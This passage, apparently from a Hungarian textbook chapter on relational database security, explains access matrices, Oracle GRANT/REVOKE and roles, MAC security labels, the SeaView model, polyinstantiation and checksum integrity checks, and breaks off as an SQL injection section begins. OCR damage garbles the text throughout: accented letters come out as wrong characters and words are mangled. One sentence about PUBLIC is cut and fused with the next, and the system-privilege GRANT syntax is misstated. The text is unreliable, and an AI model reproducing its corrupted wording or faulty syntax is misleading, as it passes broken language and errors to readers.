szokas reprezentalni. A hozzaférési matrix (access-matrix) oszlopai az egyes objektumoknak,

mig sorai az egyes felhaszndloknak felelnek meg. A matrix celldii az engedélyezett
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miiveleteket tartalmazza. fgy a védelmi mechanizmus csak azon hozzaférési modon
engedélyezi, amely szerepel az érintett objektum és felhasznald paroshoz tartozo cellaban. Az
egyes védelmi modszerek kiilonbozhetnek egymastdl abban, hogy hogyan kezeli a kiilonb6zo
felhasznalokat, és milyen bejegyzések szerepelhetnek a cellaban. A legegyszertlibb esetekben,
mint példaul az UNIX operacids rendszer dllomany védelmi rendszerében is, a felhasznaldkat
nem egyénileg azonositjdk az objektumokndl, hanem csoportokba valogatjak dket, s e
csoportok minden tagjahoz ugyanazt a védelmi szintet rendelik. A UNIX esetén példaul a
felhasznalokat, objektumokat egy (csoportszam, tagszam) parossal azonositjak, ahol az
objektumok felveszik az Oket létrehozé felhasznald kodjat. Az objektum és a kérelmezo
felhasznalo kodparosa alapjan a kérelmez6 az aldbbi harom csoport valamelyikébe sorolhato:
- tulajdonos, mind a csoportszam, mind a tagszam egyforma

- csoport, a csoportszam megegyezik

- kiilvilag, nem egyezik meg egyik kddszam sem

fgy minden objektumnal e harom csoportra vonatkozd jogosultsagok szerepelnek, s nincs
lehetdség egyedi felhasznaldokra vonatkozd jogok megadéasara. Ezzel, sokkal egyszeriibbé
valik a jogosultsigok kezelése, viszont kevésbé rugalmas lesz a védelmi rendszer. A
rugalmassagot noveli, ha barmely objektum esetén lehetdéség van az egyes felhasznalokra
kiilon-kiilon is megadni és szabalyozni a jogosultsagokat. Ebben az esetben a hozzaférési
matrix terjedelmesebb felépitésli lesz, hiszen minden felhasznalonak kiilon megadhatjuk az
engedélyezett jogosultsagokat. Az operacidés rendszerek esetén az egyes celldkban az
engedélyezett miiveletek felsorolasa taldlhat6. Barmely kérelem esetén akkor és csak akkor
engedélyezett a mivelet, ha az a listdban szerepel. Az engedélyezett miiveletlista
meghatarozdsa alapvetéen az objektum tulajdonosédnak a feladata, de az adminisztracid
megkonnyitésére 1étezik egy alapértelmezési jogosultsagi kor is minden felhasznald esetén.
Az RDBMS rendszerek rendszerint a hozzaférési matrix alapmodellen alapulé mechanizmust
hasznaljak. Ennek {6 jellemzdje, hogy részletes szabalyozason alapul, azaz minden objektum
¢s minden felhaszndld parosa esetén lehetdség van a jogosultsdgi kor meghatarozdsira. Az
alapmodell masik jellemzdje, hogy a cellak nem csak egy miiveletlistat tartalmaznak, hanem a
miveletek mellett egy feltétel is allhat, mely lesziikiti az engedélyezés lehetdségét. Azaz egy
adott kérelem esetén a kért miivelet csak akkor engedélyezett, ha egyrészt a miivelet benne
van a listidban és masrészt teljesiil a celldban megadott feltétel is. Igy példaul egy olvasasi jog

leszlikithetd a délel6tti ordkra (azaz délutdn mar nem olvashatja a felhasznalo az objektumot),
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vagy megadott termindlokra. Az engedélyezhetd miveletek kore mas, mint a szokésos iras-
olvasas-végrehajtas elemek, s az elvégezheté SQL adatkezeld és adatdefinicios miiveleteken
alapulnak. Masrészt azt is figyelembe kell venni, hogy az RDBMS egymastdl igen eltérd
objektumokat tartalmaz, melyekhez eltéré miiveleti lehetéségek csatlakoznak. Igy példaul egy
»SEQUENCE” objektum sokkal korlatozottabb lehetdségeket adhat, mint egy ,,TABLE”
objektum, hiszen a ,,SEQUENCE” nem bdvithetd, indexelhetd, stb.

Az egyes miiveletek és rovid értelmezésiik:

- ALTER: az objektum strukturdjanak modosithatosaga

- DELETE: az objektum egyes elemeinek torlése

- INDEX: index létrehozéasa az obejktumhoz

- INSERT: uj érték beszurasa az obejktumba

- REFERENCES: idegen kulcs hivatkozhat-e az obejktumra

- SELECT: az objektumban térolt értékek lekérdezése

- UPDATE: az objektumban tarolt értékek modositasa

A fentebb felsorolt miiveletek mellett egyes specialis objektum tipusokhoz még mas
miiveletek is kothetdk, igy példaul a tarolt eljardsok esetén a végrehajtasi jogosultsag is
értelmezhetd. Az objektumoknak itt is van egy tulajdonosa, az objektumot 1étrehozo
felhasznalok alapesetben semmilyen hozzaférési jogot nem kapnak. Ahhoz, hogy az
objektumhoz mas felhasznal6 is hozzaférjen, a tulajdonosnak engedélyeznie kell a miiveletet
a kovetkezd utasitas kiadasaval:

GRANT jog ON obj. TO felh. [WITH GRANT OPTION]

Ahol ,jog” a listdban felsorolt jogosultsagokat jelenti. A ,,0bj” szimbdlum az érintett
objektumra, a ,felh.” rovidités pedig a felhasznédléra vonatkozik. Az opcionalis ,,WITH
GRANT OPTION” tag megadasakor az atadott hozzaférési jogkdrt az adomanyozott
felhasznalo tovabbadhatja mas felhasznaldknak. Ezzel mintegy ideiglenesen lemondunk az
objektum ellenérzésérdl, hiszen tetszéleges helyekre is elkeriilhet a jogosultsag. Ha
felhasznald azonositoként a ,,PUBLIC” kulcsszot adjuk meg, akkor a rendszer minden
utasitassal vonhatjuk vissza:

REVOKE jog ON obj. FROM felh.;
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Melyben a paraméterek jelentése hasonlé a ,,GRANT” utasitds paraméterezésével. Igy ha a
felhasznalo helyén a PUBLIC szerepel, akkor minden felhasznéal6tol visszavonasra keriil az
adomanyozott jogkor. Ha példaul, egy ) ,KONYV” tablat olvashatova akarjuk tenni, a
,-JANOS” felhasznal6 szamara, akkor ahhoz a ,, GRANT SELECT ON KONYV TO JANOS;”
utasitast kell kiadni. Ha késébb vissza kivanjuk vonni az olvasasi jogot minden felhasznal6tol,
akkor a ,,REVOKE SELECT ON KONYV FROM PUBLIC;” a megfeleld utasitds. Az
objektumokra vonatkozoé jogosultsagok mellett az RDBMS-ben 1éteznek tigynevezett rendszer
privilégiumok is. A rendszerprivilégium miivelet csoportra vonatkozik, fliggetleniil az érintett
objektumoktol. Ha egy felhasznalé rendelkezik példaul egy DELETE ANY TABLE
privilégiummal, akkor az illetdé a rendszer barmely tablajabol, annak barmely rekordjat
torolheti. A rendszerprivilégium tehdt barmely objektumra engedélyezi a kijelolt miiveletet.
Az Oracle rendszerben mintegy szaz rendszer privilégium értelmezett, mint példaul:

- CREATE SESSION: hozzaférés az adatbazishoz

- CREATE TABLE: tabla létrehozasanak joga a sajat sémaban

- CREATE ANY TABLE: tabla létrehozasa barmely séméaban

Az rendszer jellemzdje, hogy egy 10j felhasznald alapesetben semmilyen jogkorrel sem
rendelkezik, igy példaul még bejelentkezéshez, egy ,,session” létrehozasahoz sincs
jogosultsdga. A rendszergazdanak kiilon meg kell adni minden illeszkedd jogkort. A
rendszerprivilégiumok megadasanak formatuma hasonld az objektum jogok kezeléséhez. A
rendszer privilégium adomdanyozasa a ,,GRANT jog ON obj. TO felh. [WITH ADMIN
OPTION]” utasitassal torténik, ahol a ,,WITH ADMIN OPTION” azt jelenti, hogy az
adomdanyozott tovabbadhatja a kapott rendszer privilégiumot. A privilégium visszavondsa a
»REVOKE jog ON obj. FROM felh.;” utasitassal lehetséges. Az adomanyozott objektum
jogokat ¢és privilégiumokat az RDBMS egy rendszertdbldban tarolja, melynek egy, a
felhasznalot érintd részletérél barmely felhasznald informéaciot kaphat. A kapott jogokat tehat
egy rendszer nézet (view) lekérdezésével lehet kilistaztatni. A két rendszer nézet azonositdja:

- USER COL PRIVS: objektum jogok

- USER SYS PRIVS: rendszer privilégiumok

fgy a kapott privilégiumokat a ,,SELECT * FROM USER_SYS PRIVS;” utasitassal
kérdezhetjiik le. Minden sziikséges privilégiumot ¢€s tabla jogot, kiilon adoméanyozni kell a
felhasznaloknak. Ez igen iddigényes ¢és nagy koriiltekintést igényld feladat, hiszen a

rendszerben mintegy szdz privilégium és tobb tucat objektum jogkor is 1étezik. Mindehhez
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még azt is hozza kell venni, hogy a nagyobb rendszerek tobb szaz felhasznalot is
nyilvantartanak. Ezaltal igen konnyen attekinthetetlené véalna a védelmi rendszer, ha nem
vezetnének be valamilyen segédeszkdzt a nyilvantartas megkonnyitésére.

Egy ilyen segédeszkdz az ugynevezett szerepkdr mechanizmus. A szerepkdr (role)
egy atmenetet képez a felhasznalok és a jogkordk, privilégiumok kozott. Elsé kozelitésben a
szerepkor egy privilégium, jogkor halmaz, egylittes, amelyet a felhasznalokhoz Ilehet
hozzéarendelni. A szerepkdér adomdanyozasa utdn a felhasznalé rendelkezni fog mindazon
objektum jogokkal és rendszer privilégiumokkal, amiket a szerepkor tartalmaz. A szerepkor
visszavondsakor a tartalmazott jogosultsagok, privilégiumok is visszavonasra keriilnek. A
szerepkor létrehozésa az arra jogosult felhasznalo altal kiadott ,,CREATE ROLE szerep;”
utasitdssal lehetséges, ahol a szerep egy tetszéleges 1j szerepazonositot jelent. A
késébbiekben a létrehozott szerep a ,,DROP ROLE szerep;” utasitassal sziintethetd meg. A
szerepkorhdz, mely indulaskor iires, a ,,GRANT jog ON obj. TO szerep;” utasitassal
rendelhetiink hozza jogosultsagokat és privilégiumokat, tehat itt a szerep formalisan, mint
felhasznalo szerepel. Egy szerephez egymasutan tobb kiilonbdzd privilégium és jogkor is
rendelhetd. A szerephez rendelt jogosultsagokbdl, privilégiumokbdl a ,,REVOKE jog ON ob;.
FROM szerep;” utasitassal lehet egyes elemeket kivenni. A létrehozott szerepeket tobb
kiilonboz6 felhasznalohoz is hozza lehet rendelni. A szerep adoményozésa a ,,GRANT szerep
TO felh.;” mig a visszavonasa a ,,REVOKE szerep. FROM felh.; paranccsal torténik. A
szerepkor mechanizmus rugalmassagat noveli, hogy a szerepkdrok egymashoz is rendelhetdk,
azaz egy szerepkorhoz hozzarendelhetd egy masik szerepkor altal tartalmazott jogosultsagok
is a ,,GRANT szerepl TO szerep2;” utasitdssal. Eredményekét a ,,szerep2” szerepkorhoz
hozzdadddik a ,,szerepl” szerepkor, s altala mindazon jogosultsagok, melyeket a ,,szerepl”
tartalmaz. Igy a szerepek mintegy egymasba is dgyazhatok. A kapott szerepek alapesetben a
bejelentkezés utan kozvetleniil mar élnek: Van azonban arra is lehetdség, hogy a szerepet a
felhasznal6 ne kozvetleniil kapja meg, hanem kiilon, kérnie kell a szerep felvételét. Az ilyen
szerepeket opcionalis szerepeknek nevezik. Az opcionalis szerep jelentdsége abban all, hogy a
szerephez egy egyedi jelszot lehet kapcsolni, igy csak akkor veheti fel a felhasznald a
szerepet, ha meg tudja adni a szerephez tartozo jelszot is. Egy opcionalis szerep 1étrehozasa
harom lépésben megy végbe. Elsoként a ,, CREATE ROLE szerep [IDENTIFIED BY jelszo];”
utasitds kiadasaval 0 szerepet hozunk létre, melyhez jelszé is kapcsoldodhat. A jelszod

megaddsa nem kotelezd. Ezutdn a szerepet hozzarendeljik a felhasznalohoz a ,,GRANT
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szerep TO felh;” utasitassal, mely igy ,,default”, vagyis a bejelentkezés utan rogton €16
szerepp¢ valik. Az opciondlis szerepet a felhasznald jogosultsagi adatainak moédositasaval
lehet beallitani: ,,ALTER USER felh. DEFAULT ROLE kif.;” A fenti utasitas a ,,default”
szerepek beallitdsara szolgal. Minden olyan szerep, ami nem esik bele a ,kif.” hataskorébe,
atmegy opciondlis szerepbe. A ,kif.” helyén tébb kiillonb6zé6 modon is megadhatdo a
szerepkijelolés. Igy tobbek kozott hasznalhatok a kovetkezok:

- ,ALL”: minden szerep

- ,NONE”: egyik sem

-, ALL EXCEPT”: szereplista: minden szerep a lista elemeinek kivételével kifejezések is.

Az opcionalis szerepek felvételét ezutan a felhasznalonak kiilon paranccsal kell kérnie,
melynek alakja: ,,SET ROLE szerep [IDENTIFIED BY jelszo];”. A jelszoval védett szerep
esetén a jelszo6 megadasa kotelezd. A felvett szerepeket a ,,SET ROLE NONE;” utasitassal
lehet leadni. Az opciondlis szerep kiillonben a munkafolyamat, ,,session” végéig €l. A szerepek
jelentdsége abban all, hogy attekinthetobbé teszik a védelmi jogok adminisztralasat, konnyebb
¢s gyorsabb veliik dolgozni. Az opciondlis szerepek lehetdséget adnak ideiglenes, korlatozott
idejii jogosultsdgok biztositasara. Ennek egyik gyakorlati megvalositasa az, amikor egy
program, amelynek egy adott felhasznaloként be kell jelentkeznie az RDBMS-be, hogy elérje
az adatbazisban tarolt adatokat, a futds bizonyos szakaszaira vesz fel opcionalis jogokat,
érzékenyebb informacidk elérésére. Ezen Ovatossdg oka az, hogy a bejelentkezési név és
jelszo viszonylag konnyen kiderithetd barki szdmara, de a programban kddolt szerep jelszo

feltorése mar sokkal nehezebb feladatot jelent a kivancsiskodoknak.

3.3. A MAC modell

Olyan informaciés rendszerekben, melyeknek szigoribb védelmi eldirasoknak kell
eleget tennilik, a DAC mechanizmus nem biztosit kelld biztonsagot. A decentralizaltsag miatt
az informaciok tetszélegesen dramolhatnak, nagyobb a veszélye annak, hogy jogosulatlan
adatok olyanokhoz is eljuthatnak a RDBMS-en keresztiil, akiknek erre a rendszer
alapkoncepcidja szerint nem lenne jogosultsaguk. A szigorubb feltételek kielégitésére alkottak
meg a MAC alapi védelmi rendszereket. A MAC rendszerben egységesen torténik a
hozzaférések szabalyozasa. Minden objektum és felhasznald kap egy titkossagi kodot. A

titkossagi kod két elembdl all, egy teriilet-jelzo és titkossagi szintbdl (L = (S,A)) ahol, ,,S” a
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titkossag szintje (pl. Unclassified, Classified, Secret, TopSecret) ,,A” a teriilet kijeldlése (pl.
NATO, ME). A titkossagi szintek kozott egy szigorusagi relaciot lehet felallitani:

U (unclassified) < C (calssified) < S (secret) < TS (topsecret).

A teriiletek kozott pedig egy tartalmazési relacid létesithetd, vagyis az egyik teriiletkodd
magaba foglalhat egy masik teriiletkddot. A teriilet jeldlésére rendszerint bevezetnek elemi
teriiletjeloléseket, mint pl. bériigy, munkaiigy, és a teriilet kodjat az oda tartozo elemi
tertiletek listajaval adjak meg (pl. {bériigy, pénziigy}). Az objektum esetén a titkossagi szint
azt jelzi, hogy mennyire tekinthetd titkosnak az adatot adat, mig a felhasznald esetén a
titkossagi szint arra utal, hogy a felhasznaldé milyen titkossagi szintli informaciokhoz férhet
hozza. A jogosultsagok eldontésénél az objektum és a felhaszndldo védelmi kodjainak
viszonya a meghatirozd. Adott felhasznald akkor olvashat egy objektumot, ha a titkossagi
szintje nagyobb vagy egyenld, mint az adat titkossagi szintje ¢s a teriilete is kiterjed az adat
vonatkozasi teriiletére. A jogosultsdg formalis eldontésére a kovetkezd definicid szolgal: ,,az
L1 koédot dominalja az L2 kod, ha L1 kisebb, vagy egyenld, mint L2 akkor, és csak akkor, ha
S1 kisebb, vagy egyenld, mint S2 és Al részhalmaza A2-nak teljesiil” [1], azaz a titkossagi
szint legalabb olyan és a teriilet kod magaba foglalja a masik teriilet kodjat. Konnyen
belathatd, hogy nem minden kod-par hasonlithatod 6ssze, hiszen lehet olyan kéd-par, melyben
az S1 nagyobb, mint S2, és Al kisebb, mint A2. Ezért a kédok halmaza csak részben
rendezett a dominancia relaciéra nézve. A MAC védelmi stratégia haromféle absztrakt
miiveletet tartalmaz:

- olvasas (R), csak olvasas, modositas nélkiil

- iras (W), amikor olvassuk és modositjuk az adatelemet

- bovités (A), amikor csak irhatunk 01j adatelemet

Az ,A” és ,,W” miveletek elkiilonitését az indokolja, hogy lehetnek olyan informaciok,
melyeket egy személy felvihet, mivel az példaul az ¢ adatait jelenti, de az altala, vagy masok
altal felvitt és egyazon védelmi szinten tarolt adatokat mar nem kérdezheti le az illetd. Ekkor
az ,,A” miivelet ¢l, de a ,,W” miivelet nem engedélyezett.

A MAC rendszerek a felhasznalokat két csoportba soroljak a megbizhatésaguk
alapjan: megbizhato (trusted) és nem megbizhaté (untrusted) csoport. A megbizhato
felhasznaloknal a megbizhatosag azt jelenti, hogy az elért informacidkat nem fogja
kiszolgéltatni jogosulatlan személyek felé, mig a nem megbizhatd személyeknél gondoskodni

kell arrdl, hogy megakadalyozzuk, amennyire csak lehet az adatok jogosulatlan személyekhez
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torténd atadasat. Emiatt a két felhasznalocsoport kezelése is eltér6. A nem megbizhatod
felhasznalok esetén a miikodési axiomak a kovetkezoképp foglalhatok Gssze:

- ,untrusted” felhasznalé csak olyan erdforrast olvashat, melynek dominalja a kodjat

- ;untrusted” felhasznal6 csak olyan erdforrast irhat, melynek kodja megegyezik az 6 kodjaval
- ,untrusted” felhasznald olyan er6forrast bévithet, melynek kdédja dominalja az 6 kodjat

Az elsé tétel azt mondja ki, hogy csak a nem titkosabb ¢€s az illetd teriiletébe es6 adatokat
lehet olvasni. A masodik tétel szerint csak azon adatok olvashatok és modosithatok,
amelyeknek a titkossdgi szintje és a teriiletkddja megegyezik a felhasznald ilyen iranyu
adataival. A harmadik tétel azt jelzi, hogy egy felhasznaloé csak olyan adatokat flizhet be,
melyek legalabb olyan titkossagi szinten vannak, mint a felhasznal6. Ennek oka, hogy a
felhasznalot megakadalyozzdk abban, hogy a megszerzett informacidt atvigyék olyan
objektumokba, melyek titkossagi szintje alacsonyabb az olvasott objektum szintjétél. A
megadott axidéma ettdl még egy kicsit szigoribban is viselkedik, hiszen a felhasznal6tol
alacsonyabb szintli objektumok egyaltalan nem modosithatok. A megbizhat6é felhasznalok
esetében annyiban moddosul a miikodési elv, hogy nincs megtiltva az alacsonyabb védelmi
szintli objektumok modositasa.

- trusted” felhasznald csak olyan erdforrast irhat és olvashat, melynek dominalja a védelmi
kodjat

- ,trusted” felhasznéld olyan eréforrast bovithet, melynek kddja domindlja az 6 kodjat

A MAC modellek megvalositasnak egyik példaja a ,trusted Oracle” rendszer. A ,trusted
Oracle” RDBMS-t a nagyobb védelmi igénnyel rendelkezd informacids rendszerekben
hasznaljadk. A ,trusted Oracle” tipikus alkalmazasi teriiletei a korményzati és katonai
informacids rendszerek. A ,trusted Oracle” RDBMS védelmi rendszere a ,,SeaView”
modellen alapszik.

A ,,SeView” modell elsédlegesen a MAC stratégian alapszik, de vannak benne
bizonyos Ujabb kiegészitések is, és tartalmaz DAC elemeket is. Az egyik legfontosabb 1jitas a
standard MAC modellhez viszonyitva, hogy a felhasznalok és az objektumok is kapnak a mar
ismert védelmi kod mellett egy-egy megbizhatdsagi, fontossagi kodot is. Mig a védelmi
kédok az adatok titkossagat jelolte, addig a megbizhatosagi kod azt jelzi, hogy az adat
mennyire tekinthetd végleges, biztos adatnak. Az adatok kozott lehetnek ugyanis olyan
adatok, melyek mar biztosak és széles korben ismertek lehetnek, mig eléfordulhatnak olyan

adatok is, melyek nem teljesen tekinthetdk biztosnak, illetve még nem érettek a nyilvanossag
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szamara. Igy példaul a cég mult évi forgalma egy biztos, megbizhatd-adat, mig az tobb évre
sz0lo elorejelzések még bizonytalan adatnak tekinthetdk, melyet esetleg nem célszerli még a
sz¢élesebb nyilvanossag elé tarni. A védelmi kod mellett szerepldé megbizhatosagi kod is
hasonlé formatumban jelenik meg, mint a védelmi kod, azaz az objektumokhoz és
felhasznalokhoz egy megbizhatdsagi szintbdl és egy teriiletjelzébol allo kodpart rendelnek,
melyet az ,,I” szimbolummal jelolnek. Vagyis ,,I = (C, A)” a megbizhatosagi kod, melyben
,»C” a megbizhatosag, fontossag szintje (,,C” teljesen megbizhato, ,,VI” igen megbizhato, ,,I”
kevéssé megbizhato, ,,U” nem megbizhato). A teriilet-jelzd, tobb teriilet egyiittese is lehet (pl.
NATO, ME). A megbizhatosagi szintek kozott is értelmezhetd egy megbizhatdsagi relacio,
mely szerint: (C > VI > 1> U). A teriiletjelzok kozott tovabbra is értelmezhetd a tartalmazasi
relacio. Egy felhasznéld esetén a megbizhatosagi szint arra utal, hogy mennyire bizunk meg a
felhasznaloban, mennyire lehet a szdmara a még bizonytalan informdciokat is kiadni. A
felhasznalod esetén az U szint jelenti azt, hogy barmilyen szintli informaciot olvashat. A
megbizhatdsag esetén a dominancia értelmezése megegyezik a védelmi kédoknal alkalmazott
értelmezéssel, vagyis: 11 kisebb, vagy egyenld, mint 12 akkor és csak akkor, ha C1 kisebb,
vagy egyenld, mint C2 és Al részhalmaza A2-nek. A megbizhatosagi ¢s a védelmi kodok
egylttesen jellemzik az objektum, illetve felhasznalé védelmi helyzetét, s e két kodot
egyiittesen hozzaférési osztalynak nevezik. A hozzaférési osztaly jelolése: (C= {L, I}). A
hozzaférés jogossdganak ellendrzésénél, fontos szerepet kap az objektum és a felhasznald
hozzaférési osztalyanak viszonya. Az iranyelv itt abban all, hogy a felhasznal6 csak a kevésbé
titkos és a jobban megbizhaté adatokat olvashassa. Ennek megfelelden itt is létezik egy
osztalyok kozotti dominancia relacio. A (C1 * C2) jelenti azt, hogy C2 dominalja Cl-et. A
dominancia értelmezése: C1 kisebb, vagy egyenld, mint C2 akkor és csak akkor, ha L1
kisebb, vagy egyenld, mint L2 és I1 nagyobb, vagy egyenld, mint 12. Vagyis az L2 dominalja
L1-et, mig a megbizhatdosagnal az I1 domindlja 12-t. Az irdnyeltérés oka, hogy stratégia
alapjan a felhasznalo a kevésbé titkos, de nagyobb mértékben megbizhaté adatokhoz férhet
hozza. A masik lényeges eltérés a hagyomanyos MAC modellhez képest, hogy amig a MAC
modellben egy adott felhasznald esetén az olvasasi és a hozzaflizési tartomany egymassal
érintkezik, azaz kozos a hataruk, addig a ,,SeaView” modellben e két tartomany bizonyos
értelemben atfedheti egymast. Az olvasasi €s irasi jogok finomitasara minden felhasznalé kap
egy ,,.Lmin”, egy ,,Lmax”, egy ,,Imin”, és egy ,Imax” kodot. Ezen kodokbol képeznek egy

olvasasi €és egy irasi hozzaférési osztalyt. A hozzaférési osztaly: ,,CR= {Lmax, Imin}” mig az
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irasi osztaly a ,,CW= {Lmin, Imax}” alakban adott. A modell feltevése szerint az olvasasi
osztalynak dominalni kell az irdsi osztalyt. Ez azért sziikséges, hogy ne legyen hézag a két
osztaly kozott, hanem legyen egy olyan szint, melyet a felhaszndlé ugymond magaénak
mondhat, ahol teljes jogkorrel rendelkezik. A ,,SeaView” modell legfontosabb miikodési
axiomai a kovetkezokben foglalhat6 0ssze:[1.]

- Egy ,,S” felhaszndlé csak azon ,,0” erdforrast olvashatja, melynek elérési osztalyat a
felhasznalo olvasasi osztalya dominalja ,,CR(s) * C(0)”.

- Egy ,,S” felhasznal6 csak azon ,,0” erdforrast bovitheti, melynek elérési osztdlya dominalja
a felhasznal¢ irasi osztalyat ,,CW(s) * C(0)”.

Az elsé axidma azt a mar érintett elvet rogziti, hogy a felhaszndld csak olyan adatokat
olvashat, melyek kevésbé vagy olyan titkosak, mint az § szintje, de megbizhatébbak vagy
olyan, megbizhatdak, mint az ¢ szintje. A masodik axioma azt mondja ki, hogy a felhasznalo
csak olyan adatokat irhat, melyek titkosabbak vagy olyan titkosak, mint az 6 szintje, €s nem
megbizhatobbak, mint a felhasznald6 megbizhatdsagi szintje. Az el6z6 axiomakbol az is
kovetkezik, hogy a mddositas, az adatok olvasésa és irasa csak a felhasznaldval azonos szintii
objektumoknal lehetséges. A ,,SeaView” alapit RDBMS rendszerekben a védelem szintje
sokkal finomabb, mint a hagyomanyos RDBMS rendszerekben. igy a védelembe bevont
objektumok nemcsak a tablak lesznek, hanem az annal kisebb egységek is. Ez az egység az
adatmezd. Azaz a tabla minden sordnak minden mezdje egy egyedi védelmi kodot kap. Az
egyszerliség végett a tovabbiakban csak a titkossagi szintjelzékre fogok hivatkozni.

A mezd szintli védelem egyik kovetkezménye a tobbszintli (multi-level) tablak
megjelenése. Ez a jelenség arra utal, hogy a kiilonbo6z6 felhasznalok masképp latjak, masnak
latjak ugyanazt a tablat. Ennek oka, hogy a mezdben tarolt adatok titkossagi szintje mas ¢és
mas lehet. gy egy adott felhasznalé esetén a felhasznald védelmi kodja donti el, hogy mit is
kap eredményiil. A felhasznalé csak azon mezdértékeket fogja latni, melyek kodjat a
felhasznal6 koédja dominélja. A kiilonbozé védelmi kodok miatt ugyanaz az objektum tobb
kiilonb6z6é szinten létezik, mindegyiken sajat nézettel. E nézetek kozott azonban létezik
egyfajta szabalyszerliség, miszerint egy adott mezdérték valamely szint alatt ,NULL”, azaz
tires értéket mutat, mig e szint felett a valdésagos értéket mutatja mindenkinek. E mutatott
érték minden jogosult felhasznald esetén a tdblaban szerepld valodi érték. Ebbol az a
kovetkeztetés vonhat6 le, hogy két jogosult felhasznalé ugyanazt az értéket fogja latni. A

valdsdgban azonban ez nem mindig biztosithatd. A jelenséghez abbol a természetesnek tiind
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kérdésbdl kell kiindulni, hogy vajon mi donti el, hogy egy objektum védelmi szintje milyen
legyen. Az, nagyon valdsziniitlennek tiinik, hogy egy kozponti menedzser minden
mezdértékre eldir egy védelmi szintet. Ez egy atlathatatlan, reménytelen feladat lenne. Emiatt
itt is abban kell gondolkozni, hogy az objektum Iétrehozdjanak védelmi szintje fog az
objektumhoz kapcsolodni. Példaul, legyen egy olyan adatelem, melynek titkossagi szintje
»C”. Ez az adatelem egy ,,U” szintii felhasznalonal ,,NULL” értékként jelenik meg. Az
»SeaView” modellen alapul6  RDBMS rendszernek is hasonld képet kell mutatnia a
felhasznald szdmara, mint a hagyomanyos RDBMS rendszereknek. Ezért amikor az ,,U”
jogosultsagu felhasznald a tablaban at kivanja irni a mez6 értékét, meg kell engedni neki.
Ekkor tulajdonképpen a tabla ,,U” szintli nézete valtozik meg, mely egyben a magasabb szintii
nézetekben is meg fog jelenni. A problémat az okozza, hogy a magasabb ,,C” szinten mar volt
korabban is érték az adatelemben. Az a megoldas, hogy a ,,C” szintli érték atirédjon, nem
tlinik célszertinek, hiszen ebben az esetben lentrdl beleavatkoznanak a magasabb szinten
elvégzett tevékenységekbe. A miikodési axiomak pedig csak az 0j adatok beszurasara
vonatkoznak, s nem a régi adatok feliilirdsara. Emiatt a magasabb szintii nézetekben az adatok
nem atirddnak, hanem bdviilnek. Ez azt is jelenti, hogy a tdbla C szintli lekérdezésénél
mindkét adatértéknek szerepelni kell, megadva, hogy melyik vonatkozik az ,,U”, s melyik a
»C”7 védelmi szintre. EbbOl viszont az is lathat6, hogy az adatelemnek valdjaban tobb
kiilonb6z0 fizikai elofordulasat is tarolni kell. Az adatok tobbszords, tobb kiilonbozo értékkel
torténd eléforduldsat ,,polyinstantiation” jelenségnek nevezziik. A ,,polyinstantiation”
jelensége kiilondsen azért érdekes, mert hatdsara a tdblaban tobb olyan rekord-eléfordulas is
szerepelhet egyidejlileg, melyek azonos kulcsértéket tartalmaznak. Emiatt az alaptablaban is
modositott formdban fognak csak teljesiilni példaul az egyediségre vonatkozd integritasi
feltételek. Ha meg kivannank Orizni az integritasi feltételeket a hagyoményos értelmezésben,
akkor a legalacsonyabb szintli el6fordulas bevitelekor példaul, hibat jelezne a rendszer, amely
hibabdl viszont a felhasznald6 mar kovetkeztethetne, hogy a tdbla mar tartalmaz ugyanilyen
kulest rekordot. Vagyis jogosulatlan informécidkhoz juthatna a hibajelzés 4ltal a felhasznalo.
A ,polyinstantiation” kovetkezménye az is, hogy a felhasznalo ilyen rendszerben nem lehet
biztos abban, hogy a teljes igazsadgot kapja a lekérdezéskor. Mint a mechanizmusbol is
kitlinik, a felhasznal6 csak azt fogja megkapni, ami szamdra engedélyezett, a titkosabb, a

teljesebb valosagot tartalmazo adatok rejtve maradnak elétte.
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A bemutatott MAC elemek mellett a rendszer teljes védelme csak a miiveletek
pontos korlatozasat lehetévé tevé DAC elemekkel egyiitt biztosithato, igy a ,,SeaView”
modell is tartalmazza kordbban részletesen felvazolt DAC modellt a MAC komponens
kiegészitéseként. A standard DAC és MAC mechanizmusok mellett még szamtalan egyedi
mechanizmus is sziilethet az RDBMS kidolgozasa soran a védelem biztositasara. Zarasaként
egy olyan mechanizmust mutatok be, mely mas kornyezetben is alkalmazhat6 az adatok
modositas elleni védelmének ellendrzésére. Az , Integrity check” mechanizmus alapelve az,
hogy az adatbazisban letarolt adategységekhez, példaul rekordokhoz, kiszamol egy belsé egy-
utas algoritmussal eldallitott ellendrzé Osszeget, igy hogy a kiilonb6zo rekord-eldfordulasok
nagy valoszinliséggel mas és mas ellen6rzd Osszeget szolgaltassanak. A rekordhoz tartozé
ellenérzd Osszeget a rekorddal egyiitt taroljak le az adatbdzisban. Az ellenérzés abban all,
hogy az olvasaskor ismét kiszamolasra keriil az ellendrzé 0sszeg, s a rendszer ellendrzi, hogy
a kiszamolt és az adatbazisban tarolt ellendrzé Gsszegek megegyeznek-e egymassal. Ha nem
akkor, valamilyen jogosulatlan hozzaférés torténhetett az adatbazisban, mivel a jogosult
ellendrzés mechanizmusa egy kiils6 biztonsagi komponensbe is implementalhatd, mely
mintegy raépiil az alkalmazott RDBMS rendszerre. Az adatokhoz a jogosult hozzaférések
mindig egy komponensen keresztiili mennek végbe. A bemutatott mechanizmust az
illetéktelen modositdsok megakadalyozasara is felhasznalhatjuk olyan modon, hogy a jogosult
modositasokkor az ellendrzd Osszeget a rekord egy erre kijelolt mezdjébe tesszik, s az
adatbazisban létrehozunk egy ,trigger-t” a modositasokhoz. A ,trigger” feladata, hogy
kiszamolja az 10 értékkel a moddositott ellendrzd Osszeget, s megnézze, hogy a kiszamolt
Osszeg megegyezik-e a rekordban megadott értékkel vagy sem. Ha nem egyezne meg, akkor
illetéktelen uton probaljak modositani az adatbazist, ezért ekkor a modositas letilthatd és
naplozhat6 is. Egy igen biztonsagos, de kissé merev és igen koltséges megoldas. Az, amikor
az adatbazis adatait fizikailag particionaljuk nyilvanos ¢és titkos adatokra, ekkor a két
komponens kiilon rendszeren, kiilon csomoOpontokon helyezkedik el. Minden védelmi
szintnek megvan a sajat RDBMS rendszere ¢és adatbazisa. Az egyes felhasznalok jogosultsagi
kore donti el, hogy melyik csoméponthoz férhet hozza a felhasznald. A hozzaférési védelem,
ezaltal biztosan megvalosithatd, e rendszerben a nehézséget inkabb az adatok szinkronizéalasa

¢s a nagyobb rendszer-karbantartési igény okozza.
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3.4. Tamadasi technikak fobb jellemzoi
3.4.1. Az SQL Tamadas

Az tugynevezett ,,SQL injection” technika, sebezhetdség a szerveroldali bemenet
